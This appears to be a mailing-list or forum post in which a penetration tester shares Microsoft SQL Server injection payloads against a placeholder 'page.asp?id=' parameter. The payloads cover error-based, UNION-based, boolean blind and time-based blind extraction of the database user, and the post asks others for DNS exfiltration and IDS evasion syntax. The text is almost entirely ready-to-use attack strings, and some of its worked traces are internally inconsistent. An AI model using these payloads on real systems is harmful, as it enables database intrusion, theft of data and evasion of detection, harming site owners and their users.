Hey everybody, I'm working on a few projects related to SQL Injection
and trying to kill a few birds with 1 stone.
I'm curious what are your favorite methods for identifying and
exploiting SQL Injection. I'm looking for example syntax here that
you've found has worked well for you in the past.
Here are a few snippets of techniques I like to use, I'm looking for
example syntax for data exfiltration via DNS, and IDS Evasion with SQL
Injection.
Error-Based
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Error-Based SQL Injection Syntax for extracting the USER
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[DB USER]' to a column of
data type int.
Union-Based
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Union-Based SQL Injection Syntax for extracting the USER
http://[site]/page.asp?id=1 UNION SELECT ALL 1--
All queries in an SQL statement containing a UNION operator must have an
equal number of expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--
All queries in an SQL statement containing a UNION operator must have an
equal number of expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--
All queries in an SQL statement containing a UNION operator must have an
equal number of expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--
NO ERROR
http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4--
Traditional Blind
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D - 1st Character
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 1, 1)) > 97
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 1, 1)) > 98
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 1, 1)) > 99
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 1, 1)) > 100
B - 2nd Character
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 2, 1)) > 97
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 2, 1)) > 98
O - 3rd Character
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 97
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 98
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 99
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 100
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 101
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 102
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 103
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 104
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 105
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 106
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 107
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 108
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 109
http://[site]/page.asp?id=1 AND ASCII(SUBSTRING((SYSTEM_USER), 3, 1)) > 110
Time-Based Blind
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Blind SQL Injection Syntax for extracting the USER
3 - Total Characters
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
(+10 seconds)
D - 1st Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98)
WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99)
WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--
(+10 seconds)
B - 2nd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
O - 3rd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--
(+10 seconds)
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--
(+10 seconds)
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
(+10 seconds)
Database User = DBO
What syntaxes I'm looking for
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- Exfiltration via DNS example syntax
- IDS Evasion syntax
- Anything you think I may have forgotten above (yes I know I haven't listed MySQL and Oracle but I am working on those
as well. If you have example syntax for MySQL/Oracle please send them my way.
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SQL Injection Techniques
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